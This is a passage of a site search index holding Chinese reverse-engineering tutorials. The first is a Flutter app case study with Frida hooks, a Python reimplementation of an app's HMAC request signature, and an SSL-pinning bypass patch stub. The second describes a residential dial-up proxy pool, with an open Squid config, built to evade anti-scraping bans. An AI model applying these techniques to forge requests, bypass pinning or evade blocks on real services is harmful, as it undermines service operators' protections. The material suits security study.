application/json; charset=utf-8 Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9... X-Request-Id: 550e8400-e29b-41d4-a716-446655440000 X-Timestamp: 1711440000 X-Sign: a3f2b8c91d... {\"user_id\": 12345, \"fields\": [\"name\", \"avatar\", \"balance\"]} 分析要点： Authorization: JWT Token，可以在 jwt.io 解码查看载荷 X-Sign: API 签名，需要逆向 libapp.so 中的签名生成函数 X-Timestamp: 防重放时间戳 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:8:5","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#抓包结果分析"},{"categories":null,"collections":null,"content":"实战：提取 Flutter App 业务逻辑 💡 思路一句话: Flutter release 模式编译为 AOT snapshot (libapp.so) → 用 Doldrums/blutter 解析 snapshot 恢复类名和方法 → 在 IDA 中对照恢复的符号分析 Dart 原生代码。 本节以一个虚构的 Flutter 电商 App 为例，展示如何从 libapp.so 中提取关键业务逻辑。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:9:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#实战提取-flutter-app-业务逻辑"},{"categories":null,"collections":null,"content":"目标 提取以下信息： API 接口地址和请求格式 请求签名 (X-Sign) 的生成算法 本地数据加解密逻辑 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:9:1","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#目标"},{"categories":null,"collections":null,"content":"第 1 步：使用 Blutter 提取函数信息 # 提取 SO 文件 mkdir -p work \u0026\u0026 cd work unzip ../target.apk lib/arm64-v8a/libapp.so lib/arm64-v8a/libflutter.so -d . # 运行 Blutter python3 /path/to/blutter/blutter.py \\ lib/arm64-v8a/libapp.so \\ lib/arm64-v8a/libflutter.so \\ output/ ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:9:2","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#第-1-步使用-blutter-提取函数信息"},{"categories":null,"collections":null,"content":"第 2 步：定位关键类和函数 # 搜索与签名相关的函数 grep -ri \"sign\\|signature\\|hmac\\|encrypt\" output/asm/ | head -30 # 搜索 API 服务类 grep -ri \"ApiService\\|HttpService\\|NetworkManager\" output/objs.txt # 搜索 URL 常量 grep -ri \"https://\\|http://\" output/pp.txt 假设我们找到了以下关键信息： output/pp.txt: pp+0x2a0: String \"https://api.target.com\" pp+0x2a8: String \"X-Sign\" pp+0x2b0: String \"X-Timestamp\" pp+0x2b8: String \"your_app_secret_key_2024\" # \u003c-- 签名密钥! pp+0x2c0: Function '_generateSign' output/asm/ApiService._generateSign.asm: ; _generateSign(String method, String path, Map params, int timestamp) ; offset: 0x3b4500 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:9:3","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#第-2-步定位关键类和函数"},{"categories":null,"collections":null,"content":"第 3 步：分析签名算法 查看 Blutter 输出的反汇编： ; ApiService._generateSign ; offset: 0x3b4500 ; Pool references: ; pp+0x2b8: \"your_app_secret_key_2024\" ; pp+0x2c8: Function 'utf8.encode' ; pp+0x2d0: Function 'Hmac.new' ; pp+0x2d8: Closure 'sha256' 0x3b4500: stp x29, x30, [sp, #-0x30]! 0x3b4504: mov x29, sp ... ; 从 Pool 引用可以推断算法为: HMAC-SHA256 ; 签名密钥: \"your_app_secret_key_2024\" ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:9:4","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#第-3-步分析签名算法"},{"categories":null,"collections":null,"content":"第 4 步：Frida 动态验证 /** * Hook _generateSign 函数，动态捕获签名过程 */ var libapp = Module.findBaseAddress(\"libapp.so\"); var generateSignOffset = 0x3b4500; Interceptor.attach(libapp.add(generateSignOffset), { onEnter: function (args) { console.log(\"=== _generateSign 被调用 ===\"); // 尝试读取 Dart 对象参数 // 注意: 这里的参数解析高度依赖 Dart 版本和对象布局 this.startTime = Date.now(); // 打印调用栈 console.log(\"调用栈:\\n\" + Thread.backtrace(this.context, Backtracer.ACCURATE) .map(DebugSymbol.fromAddress).join(\"\\n\")); }, onLeave: function (retval) { console.log(\"返回值指针: \" + retval); var elapsed = Date.now() - this.startTime; console.log(\"耗时: \" + elapsed + \"ms\"); // 尝试读取返回的 Dart String (签名结果) try { var taggedPtr = retval; // Dart 对象头部有 tag word var length = taggedPtr.add(Process.pointerSize * 2).readS32(); if (length \u003e 0 \u0026\u0026 length \u003c 256) { var signStr = taggedPtr.add(Process.pointerSize * 3) .readUtf8String(length); console.log(\"签名结果: \" + signStr); } } catch (e) { console.log(\"读取签名失败: \" + e); } console.log(\"========================\"); } }); ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:9:5","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#第-4-步frida-动态验证"},{"categories":null,"collections":null,"content":"第 5 步：还原签名算法 结合静态分析和动态验证，还原出签名算法（Python 复现）： #!/usr/bin/env python3 \"\"\"还原 Flutter App 的 API 签名算法\"\"\" import hmac import hashlib import time import json import requests APP_SECRET = \"your_app_secret_key_2024\" BASE_URL = \"https://api.target.com\" def generate_sign(method, path, params, timestamp): \"\"\" 签名算法还原: 1. 拼接: METHOD + PATH + sorted_params + TIMESTAMP 2. HMAC-SHA256(secret, message) 3. 转小写 hex \"\"\" # 参数排序并拼接 sorted_params = \"\u0026\".join( f\"{k}={v}\" for k, v in sorted(params.items()) ) # 构造签名原文 message = f\"{method.upper()}{path}{sorted_params}{timestamp}\" print(f\"[DEBUG] 签名原文: {message}\") # HMAC-SHA256 sign = hmac.new( APP_SECRET.encode('utf-8'), message.encode('utf-8'), hashlib.sha256 ).hexdigest() print(f\"[DEBUG] 签名结果: {sign}\") return sign def call_api(path, params): \"\"\"模拟 Flutter App 发送 API 请求\"\"\" timestamp = int(time.time()) method = \"POST\" sign = generate_sign(method, path, params, timestamp) headers = { \"Content-Type\": \"application/json; charset=utf-8\", \"X-Sign\": sign, \"X-Timestamp\": str(timestamp), } resp = requests.post( f\"{BASE_URL}{path}\", headers=headers, json=params ) return resp.json() # 测试调用 if __name__ == \"__main__\": result = call_api(\"/v1/api/getUserInfo\", { \"user_id\": 12345, \"fields\": \"name,avatar,balance\" }) print(json.dumps(result, indent=2, ensure_ascii=False)) ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:9:6","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#第-5-步还原签名算法"},{"categories":null,"collections":null,"content":"第 6 步：分析数据加密逻辑 如果 App 对请求/响应数据进行了额外加密： /** * Hook 加解密函数，提取明文数据 */ var libapp = Module.findBaseAddress(\"libapp.so\"); // 假设通过 Blutter 分析发现: // CryptoService.encrypt: 0x3c8000 // CryptoService.decrypt: 0x3c8200 // AES Key 在 pp+0x350: \"0123456789abcdef\" var encryptOffset = 0x3c8000; var decryptOffset = 0x3c8200; // Hook 加密函数 Interceptor.attach(libapp.add(encryptOffset), { onEnter: function (args) { console.log(\"[ENCRYPT] 明文输入:\"); // 打印输入参数 (Dart String) try { var strObj = args[1]; // 第一个参数 (跳过 this) var len = strObj.add(Process.pointerSize * 2).readS32(); if (len \u003e 0 \u0026\u0026 len \u003c 4096) { console.log(strObj.add(Process.pointerSize * 3) .readUtf8String(len)); } } catch (e) {} }, onLeave: function (retval) { console.log(\"[ENCRYPT] 密文输出:\"); try { var strObj = retval; var len = strObj.add(Process.pointerSize * 2).readS32(); if (len \u003e 0 \u0026\u0026 len \u003c 4096) { console.log(strObj.add(Process.pointerSize * 3) .readUtf8String(len)); } } catch (e) {} } }); // Hook 解密函数 Interceptor.attach(libapp.add(decryptOffset), { onEnter: function (args) { console.log(\"[DECRYPT] 密文输入:\"); try { var strObj = args[1]; var len = strObj.add(Process.pointerSize * 2).readS32(); if (len \u003e 0 \u0026\u0026 len \u003c 4096) { console.log(strObj.add(Process.pointerSize * 3) .readUtf8String(len)); } } catch (e) {} }, onLeave: function (retval) { console.log(\"[DECRYPT] 明文输出:\"); try { var strObj = retval; var len = strObj.add(Process.pointerSize * 2).readS32(); if (len \u003e 0 \u0026\u0026 len \u003c 4096) { console.log(strObj.add(Process.pointerSize * 3) .readUtf8String(len)); } } catch (e) {} } }); ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:9:7","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#第-6-步分析数据加密逻辑"},{"categories":null,"collections":null,"content":"常见问题与解决方案 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:10:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#常见问题与解决方案"},{"categories":null,"collections":null,"content":"问题 1：reFlutter 不支持当前 Flutter 版本 症状：运行 reflutter target.apk 报错，提示不支持的引擎版本。 解决方案： # 1. 确认 Flutter 引擎版本 strings lib/arm64-v8a/libflutter.so | grep -E \"[0-9a-f]{40}\" # 输出的 hash 是 Flutter Engine Commit # 2. 升级 reFlutter pip3 install --upgrade reflutter # 3. 如果仍不支持，改用 Blutter + Frida 方案 # Blutter 通常支持更新的版本 python3 blutter.py libapp.so libflutter.so output/ # 4. 使用 Frida 直接 Hook BoringSSL (不依赖 reFlutter) # 参考上文 \"Frida 拦截 Flutter 网络请求\" 章节 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:10:1","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#问题-1reflutter-不支持当前-flutter-版本"},{"categories":null,"collections":null,"content":"问题 2：Patched APK 安装后闪退 可能原因与对策： 原因 检测方法 解决方案 签名校验失败 Logcat 中有 signature 相关错误 确认已正确签名 完整性校验 App 内部校验 SO 文件 hash Hook 校验函数或 Patch 校验逻辑 Root 检测 仅在 Root 设备闪退 使用 Magisk Hide / Shamiko 架构不匹配 reFlutter 替换了错误架构的 SO 确认设备架构 (arm64-v8a / armeabi-v7a) Flutter 版本不兼容 Logcat 中有 snapshot 版本错误 使用正确版本的 reFlutter # 诊断步骤 adb logcat -s flutter,AndroidRuntime | tee crash_log.txt # 常见错误信息: # E/flutter: Snapshot is not compatible with the current VM # E/AndroidRuntime: FATAL EXCEPTION: main - UnsatisfiedLinkError ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:10:2","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#问题-2patched-apk-安装后闪退"},{"categories":null,"collections":null,"content":"问题 3：Frida 特征码搜索找不到 SSL 验证函数 解决方案： /** * 通用方法: 枚举 libflutter.so 中所有可疑的证书验证函数 */ var flutter = Process.findModuleByName(\"libflutter.so\"); var exports = flutter.enumerateExports(); console.log(\"[*] 搜索证书相关导出函数:\"); exports.forEach(function (exp) { if (exp.name.toLowerCase().indexOf(\"cert\") !== -1 || exp.name.toLowerCase().indexOf(\"verify\") !== -1 || exp.name.toLowerCase().indexOf(\"ssl\") !== -1 || exp.name.toLowerCase().indexOf(\"x509\") !== -1) { console.log(\" \" + exp.name + \" @ \" + exp.address); } }); // 如果没有导出符号，尝试通过字符串引用定位 console.log(\"\\n[*] 搜索证书相关字符串:\"); var ranges = flutter.enumerateRanges(\"r--\"); ranges.forEach(function (range) { try { var matches = Memory.scanSync(range.base, range.size, // \"CERTIFICATE\" 的 hex \"43 45 52 54 49 46 49 43 41 54 45\"); matches.forEach(function (m) { console.log(\" 'CERTIFICATE' found at: \" + m.address); }); } catch (e) {} }); ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:10:3","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#问题-3frida-特征码搜索找不到-ssl-验证函数"},{"categories":null,"collections":null,"content":"问题 4：无法读取 Dart 对象内容 问题：Hook 到函数后，无法正确读取 Dart 对象（String、List、Map）的内容。 原因：Dart 对象的内存布局随版本变化，且使用 Tagged Pointer 机制。 /** * Dart 对象读取辅助函数 (ARM64) * * Dart 使用 Tagged Pointer: * - Smi (小整数): 值直接存在指针中, 最低位为 0 * - HeapObject: 指针最低位为 1, 需要减 1 获取真实地址 */ function isDartSmi(ptr) { return (ptr.toInt32() \u0026 1) === 0; } function dartSmiValue(ptr) { // Smi 值 = 指针 \u003e\u003e 1 (去掉 tag bit) return ptr.toInt32() \u003e\u003e 1; } function dartHeapObjectAddr(ptr) { // 去掉 tag bit return ptr.sub(1); } function readDartString(taggedPtr) { try { var obj = dartHeapObjectAddr(taggedPtr); // Dart String (OneByteString) 布局: // +0x00: Object Header (class id, etc.) // +0x08: hash (Smi) // +0x10: length (Smi) // +0x18: data (char[]) var lengthTagged = obj.add(0x10).readPointer(); var length = dartSmiValue(lengthTagged); if (length \u003c= 0 || length \u003e 65536) { return \"\u003cinvalid length: \" + length + \"\u003e\"; } return obj.add(0x18).readUtf8String(length); } catch (e) { return \"\u003cread error: \" + e + \"\u003e\"; } } function readDartList(taggedPtr) { try { var obj = dartHeapObjectAddr(taggedPtr); // GrowableObjectArray 布局: // +0x00: Object Header // +0x08: type_arguments // +0x10: length (Smi) // +0x18: data (Array) var lengthTagged = obj.add(0x10).readPointer(); var length = dartSmiValue(lengthTagged); var dataArray = dartHeapObjectAddr(obj.add(0x18).readPointer()); var items = []; for (var i = 0; i \u003c Math.min(length, 20); i++) { var item = dataArray.add(0x18 + i * 8).readPointer(); if (isDartSmi(item)) { items.push(dartSmiValue(item)); } else { items.push(readDartString(item)); } } return \"[\" + items.join(\", \") + \"]\"; } catch (e) { return \"\u003clist read error: \" + e + \"\u003e\"; } } // 使用示例 // var str = readDartString(args[1]); // console.log(\"参数值: \" + str); ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:10:4","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#问题-4无法读取-dart-对象内容"},{"categories":null,"collections":null,"content":"问题 5：Flutter App 使用了 Certificate Pinning 且特征码方案失败 终极方案：直接 Patch libflutter.so 二进制 #!/usr/bin/env python3 \"\"\" 手动 Patch libflutter.so 中的 SSL 验证函数 当 reFlutter 和特征码搜索都失败时使用 \"\"\" import lief import struct def patch_ssl_verify(so_path, output_path): binary = lief.parse(so_path) # 方法: 搜索 BoringSSL 的 handshake_client.cc 中的 # ssl_verify_peer_cert 相关代码段 # 查找包含 \"CERTIFICATE_VERIFY_FAILED\" 的字符串引用 text_section = binary.get_section(\".text\") rodata_section = binary.get_section(\".rodata\") rodata_bytes = bytes(rodata_section.content) # 搜索关键字符串 target_str = b\"CERTIFICATE_VERIFY_FAILED\" idx = rodata_bytes.find(target_str) if idx \u003e= 0: str_addr = rodata_section.virtual_address + idx print(f\"[+] 找到字符串 @ 0x{str_addr:x}\") # 此处需要进一步追踪交叉引用来定位验证函数 # 然后将其开头 Patch 为 MOV W0, #1; RET # ARM64: 0x52800020 (MOV W0, #1), 0xD65F03C0 (RET) binary.write(output_path) print(f\"[+] Patched SO 已保存到 {output_path}\") # patch_ssl_verify(\"libflutter.so\", \"libflutter_patched.so\") ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:10:5","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#问题-5flutter-app-使用了-certificate-pinning-且特征码方案失败"},{"categories":null,"collections":null,"content":"问题 6：Blutter 编译失败 # 常见错误: CMake / Ninja / Dart SDK 版本不匹配 # 解决步骤: # 1. 确认依赖版本 cmake --version # \u003e= 3.20 ninja --version # \u003e= 1.10 python3 --version # \u003e= 3.8 # 2. 确认目标 Dart 版本 strings libflutter.so | grep \"Dart\" # 3. 使用 Docker 环境 (最稳定) docker pull aspect/blutter:latest docker run -v $(pwd):/work aspect/blutter \\ /work/libapp.so /work/libflutter.so /work/output/ # 4. 如果 Blutter 不支持，退而求其次使用 Doldrums dart run bin/doldrums.dart libapp.so output/ ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:10:6","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#问题-6blutter-编译失败"},{"categories":null,"collections":null,"content":"工具选择决策树 Flutter App 逆向 | 需要抓包？ OR 需要分析代码？ / \\ v v 需要抓包 需要分析代码 | | reFlutter 是否支持？ Blutter 是否支持？ / \\ / \\ 是 否 是 否 | | | | reFlutter Frida + Blutter Doldrums 重打包方案 特征码 Hook 静态分析 or darter | | | | v v v v Burp 抓包 iptables IDA/Ghidra reFlutter 透明代理 + 符号导入 动态 Dump | | | v v v SSL Bypass Frida 动态 Frida 动态 (Patch SO) 验证 + Hook 验证 + Hook ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:10:7","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#工具选择决策树"},{"categories":null,"collections":null,"content":"总结 阶段 关键技术 推荐工具 识别 检查 libflutter.so / libapp.so unzip + strings 版本识别 提取 Dart SDK 版本 strings libflutter.so 流量拦截 SSL Pinning Bypass + 代理重定向 reFlutter / Frida 函数偏移提取 Snapshot 解析，获取类名/函数名/偏移 Blutter / reFlutter 静态分析 反汇编 + 符号恢复 + Object Pool 分析 IDA Pro + Blutter 脚本 动态分析 Hook Dart 函数，拦截参数和返回值 Frida 算法还原 结合静态和动态分析复现加密/签名算法 Python 核心要点： 流量拦截: 必须使用 reFlutter 对 APK 进行 Patch，或者 Hook libflutter.so 中的 BoringSSL 证书验证函数。传统的 Java 层 Hook 和系统代理对 Flutter 无效。 代码分析: Blutter 是目前最推荐的静态分析工具，配合 IDA/Ghidra 符号导入可以大幅提高分析效率。reFlutter 的 dump.dart 提供了快速定位函数的能力。 动态调试: 所有 Hook 都发生在 Native 层。理解 Dart 的调用约定（PP 寄存器、Tagged Pointer、对象布局）是成功 Hook 的关键。 版本敏感: Flutter 逆向工具与 Dart SDK 版本强绑定。分析前务必确认目标 App 的 Flutter/Dart 版本，选择匹配的工具版本。 核心原理: 理解 Dart VM 的工作原理（Snapshot 结构、Object Pool、Dispatch Table）是深入逆向 Flutter 的基础。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:11:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#总结"},{"categories":null,"collections":null,"content":"逆向技术：动态住宅 IP 代理池 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： 代理池设计 - 代理池架构与 Redis 集成 Linux 网络基础 - 理解 PPPoE 拨号与网络配置 在高强度的爬虫和逆向分析场景中，请求的 IP 地址是识别和封禁爬虫流量的第一道关卡。相比于易于被识别和屏蔽的数据中心 IP，动态变化的住宅 IP 地址具有极高的伪装度，是绕过反爬虫策略的关键技术。本节将详细介绍动态住宅 IP（拨号代理）的原理及其代理池的搭建方法。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:0:0","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#逆向技术动态住宅-ip-代理池"},{"categories":null,"collections":null,"content":"1. 动态住宅 IP (拨号代理) 原理 ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:1:0","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#1-动态住宅-ip-拨号代理-原理"},{"categories":null,"collections":null,"content":"a) 什么是动态住宅 IP？ 住宅 IP: 指由互联网服务提供商（ISP），如电信、联通、移动，分配给普通家庭用户的 IP 地址。这些 IP 地址属于真实的住宅网络，信誉度最高。 动态 IP: 与数据中心固定的静态 IP 不同，住宅宽带通常使用 PPPoE (Point-to-Point Protocol over Ethernet) 协议进行拨号上网。其核心特点是：每断开一次连接再重新拨号，ISP 的 BRAS（宽带远程接入服务器）就会从其地址池中重新分配一个新的 IP 地址给用户。 利用这一特性，我们可以通过程序自动化地控制 ADSL (或光猫) 进行\"断线重拨\"，从而在极短的时间内获取一个全新的、干净的、真实的住宅 IP。这就是拨号代理的核心原理。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:1:1","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#a-什么是动态住宅-ip"},{"categories":null,"collections":null,"content":"b) 优势 极高的真实性: IP 来自真实的 ISP 住宅网络，无法被目标服务器通过 IP 库识别为数据中心流量。 海量 IP 资源: 一个地区级的 ISP 运营商通常拥有数万到数百万的 IP 地址池。理论上，通过不断重拨，你可以使用该地区的所有 IP。 成本可控: 相比于按流量计费的商业住宅代理服务，自建拨号代理池（尤其是在拥有物理设备的情况下）的长期成本更低。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:1:2","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#b-优势"},{"categories":null,"collections":null,"content":"2. 搭建拨号代理池 搭建一个稳定高效的拨号代理池，需要将物理层的拨号设备、网络层的代理服务和管理层的调度系统结合起来。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:2:0","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#2-搭建拨号代理池"},{"categories":null,"collections":null,"content":"a) 硬件与物理层 ADSL/光猫 + 路由器: 这是最基础的单元。你需要一个（或多个）办理了宽带业务的 ADSL 猫或光猫，并连接到一个可以被程序控制的路由器。 树莓派/小型 PC: 在每个拨号设备旁边，放置一个类似树莓派的廉价小型主机，用于执行拨号和代理服务的指令。 4G/5G 模块 (可选): 除了固定宽带，还可以使用 4G/5G 工业模块。通过控制模块的飞行模式切换或重置，同样可以实现 IP 的更换。这种方式灵活性更高，但流量成本也更高。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:2:1","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#a-硬件与物理层"},{"categories":null,"collections":null,"content":"b) 软件与网络层 拨号脚本: 在树莓派上运行一个脚本，用于控制路由器执行 PPPoE 的断开和重连操作。这通常可以通过 curl 或 ssh 调用路由器的管理接口来实现。 示例 (控制 OpenWrt/LEDE 路由器的脚本): #!/bin/bash # 断开 PPPoE 连接 ssh root@192.168.1.1 'ifdown wan' # 等待断开 sleep 3 # 重新连接 ssh root@192.168.1.1 'ifup wan' # 等待连接建立 sleep 5 # 获取新 IP NEW_IP=$(ssh root@192.168.1.1 'ifconfig pppoe-wan | grep \"inet addr\" | cut -d: -f2 | cut -d\" \" -f1') echo \"New IP: $NEW_IP\" 代理服务: 在树莓派上运行一个代理服务程序 (如 Squid, Nginx, Tiny Proxy)。外部请求通过这个代理服务发出，就会使用当前拨号获得的 IP。 Squid 配置示例 (squid.conf): # 允许所有来源的所有请求 http_access allow all # 监听端口 http_port 3128 # 禁止泄露原始 IP forwarded_for off request_header_access Via deny all request_header_access X-Forwarded-For deny all ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:2:2","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#b-软件与网络层"},{"categories":null,"collections":null,"content":"c) 管理层与调度 当你有大量的拨号节点时，一个中心化的管理系统是必不可少的。 中心 API 服务器: IP 注册: 每个拨号节点在成功获取新 IP 后，将 (新IP:端口, 地理位置, ISP) 等信息上报给中心服务器。 IP 获取: 业务程序（如爬虫）通过调用 API，从中心服务器获取一个当前可用的代理 IP。可以根据需求指定地理位置等条件。 IP 续期与心跳: 拨号节点需要定期向中心服务器发送心跳，证明自己仍然在线。如果心跳超时，服务器就将该 IP 从可用池中移除。 IP 池管理策略: 可用性检测: 中心服务器定期主动检测池中代理的连通性，剔除失效的 IP。 IP 轮换: 当一个 IP 被封禁或使用次数过多时，业务程序可以调用 API 请求中心服务器通知对应的拨号节点执行\"换 IP\"操作。 并发控制: 管理每个代理 IP 当前的并发请求数，避免因过度使用而被封禁。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/:2:3","tags":["签名验证","代理池","自动化","Android","Root检测"],"title":"逆向技术：动态住宅 IP 代理池","uri":"/reverse_engineering/android/01-recipes/automation/dial_up_proxy_pools/#c-管理层与调度"},{"categories":null,"collections":null,"content":"d) 整体架构图 graph TD subgraph \"业务服务器\" A[爬虫/业务应用] --\u003e B{中心 API Server} end B -- 获取代理 --\u003e A B -- 管理/调度 --\u003e C1 B -- 管理/调度 --\u003e C2 B -- 管理/调度 --\u003e C3 subgraph \"拨号节点 1 (上海电信)\" C1[树莓派] --\u003e D1[代理服务 Squid] C1 -- 控制重拨 --\u003e E1[路由器/光猫] E1 -- PPPoE --\u003e F1[(ISP 网络)] end subgraph \"拨号节点 2 (北京联通)\" C2[树莓派] --\u003e D2[代理服务 Squid] C2 -- 控制重拨 --\u003e E2[路由器/光猫] E2 -- PPPoE --\u003e F2[(ISP 网络)] end subgraph \"拨号节点 N (深圳移动)\" C3[树莓派] --\u003e D3[代理服务 Squid] C3 -- 控制重拨 --\u003e E3[路由器/光猫] E3 -- PPPoE --\u003e F3[(ISP 网络)] end C1 -- 上报 IP --\u003e B C2 -- 上报 IP --\u003e B C3 -- 上报 IP --\u003e B graph TD subgraph \"业务服务器\" A[爬虫/业务应用] --\u003e B{中心 API Server} end B -- 获取代理 --\u003e A B -- 管理/调度 --\u003e C1 B -- 管理/调度 --\u003e C2 B -- 管理/调度 --\u003e C3 subgraph \"拨号节点 1 (上海电信)\" C1[树莓派] --\u003e D1[代理服务 Squid] C1 -- 控制重拨 --\u003e E1[路由器/光猫] E1 -- PPPoE --\u003e F1[(ISP 网络)] end subgraph \"拨号节点 2 (北京联通)\" C2[树莓派] --\u003e D2[代理服务 Squid] C2 -- 控制重拨 --\u003e E2[路由器/光猫] E2 -- PPPoE --\u003e F2[(ISP 网络)] end subgraph \"拨号节点 N (深圳移动)\" C3[树莓派] --\u003e D3[代理服务 Squid] C3 -- 控制重拨 --\u003e E3[路由器/光猫] E3 -- PPPoE --\u003e F3[(ISP 网络)] end C1 -- 上报 IP --\u003e B C2 -- 上报 IP --\u003e B C3 -- 上报 IP --\u003e B graph TD subgraph \"业务服务器\" A[爬虫/业务应用] --\u003e B{中心 API Server} end B -- 获取代理 --\u003e A B -- 管理/调度 --\u003e C1 B -- 管理/调度 --\u003e C2 B -- 管理/调度 --\u003e C3 subgraph \"拨号节点 1 (上海电信)\" C1[树莓派] --\u003e D1[代理服务 Squid] C1 -- 控制重拨 --\u003e E1[路由器/光猫] E1 -- PPPoE --\u003e F1[(ISP 网络)] end subgraph \"拨号节点 2 (北京联通)\" C2[树莓派] --\u003e D2[代理服务 Squid] C2 -- 控制重拨 --\u003e E2[路由器/光猫] E2 -- PPPoE --\u003e F2[(ISP 网络)] end subgraph \"拨号节点 N (深圳移动)\" C3[树莓派] --\u003e D3[代理服务 Squid] C3 -- 控制重拨 --\u003e E3[路由器/光猫] E3 -- PPPoE --\u003e F3[(ISP 网络)] end C1 -- 上报 IP --\u003e B C2 -- 上报 IP --\u003e B C3 -- 上报 IP --\u003e B graph TD subgraph 